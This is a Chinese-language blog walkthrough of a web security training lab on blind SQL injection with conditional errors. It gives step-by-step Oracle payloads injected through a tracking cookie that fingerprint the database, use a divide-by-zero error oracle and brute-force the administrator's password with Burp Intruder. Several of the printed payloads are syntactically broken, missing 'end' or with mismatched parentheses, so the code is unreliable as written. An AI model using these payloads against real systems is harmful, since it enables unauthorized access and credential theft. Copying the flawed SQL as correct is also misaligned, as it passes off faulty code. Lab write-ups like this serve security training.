Lab: Blind SQL injection with conditional errors带条件错误的盲注靶场复盘
靶场要求:
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.
The database contains a different table called users
, with columns called username and password
. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator
user.
To solve the lab, log in as the administrator user.
靶场内容
靶场操作:
- 使用burpsuite截获shop首页的数据包
- 根据题目的提示,我们需要在cookie上做手脚,根据推断,cookie应该以加密的方式显示的一个用户的用户名
- 假设这个cookie的内容是xyz
- 尝试:
xyz'
发现返回值为:Internal Server Error,尝试xyz''
发现不返回错误,正常显示页面。而我们刚才的错误属于语法的错误,但是不告诉我们错在哪,我们可以故意构造语法错误来进行攻击 - 但是在此之前,需要辨别这个是什么数据库,使用
xyz' || (select '')||'
其中,|| 表示的是字符串拼接。但是它报错了,我们考虑这可能是Oracle 数据库,所以需要修改为:xyz’ ||(select '' from dual) ||'
发现不报错。 - 我们测试users这个数据表是否存在,可以使用命令:
xyz' ||(select '' from users where rownum =1)|| '
这里的rownum=1比较重要,这里防止查询的时候返回多行,我们只要返回空字符就可以啦。 - 测试代码:
xyz' ||(select case when (1=1) then to_char(1/0) else '' end from dual)||'
这样会有错误的信息返回,当when条件里面成立的时候,就会执行then后面的内容,如果不成立,就会返回else的内容。 - 测试代码,确认是否有administrator这个账户:
xyz' || (select case when (1=1) then to_char(1/0) else '' from users where username='administrator') ||'
这个代码和特殊,如果不存在administrator这个用户和1=1不成立,都会返回200OK,因为SQL语句的判断顺序是先判断where后面的内容。 - 密码判断:
xyz' ||(select case when length(password)>3) then to_char(1/0) else '' from users where username='administrator' ||'
,之后进行手动判断,最后密码为20位 - Inuder暴力破解:语句为:
xyz' || (select case when substr(password,§1§,1)='§a§' then to_char(1/0) else '' end from users where username='administrator') ||'
,字典1为1到20 ,字典2位0到9和a到z - 最后筛选状态码为500的内容,密码就可以出来了
本文来自博客园,作者:{Zeker62},转载请注明原文链接:https://www.cnblogs.com/Zeker62/p/15167741.html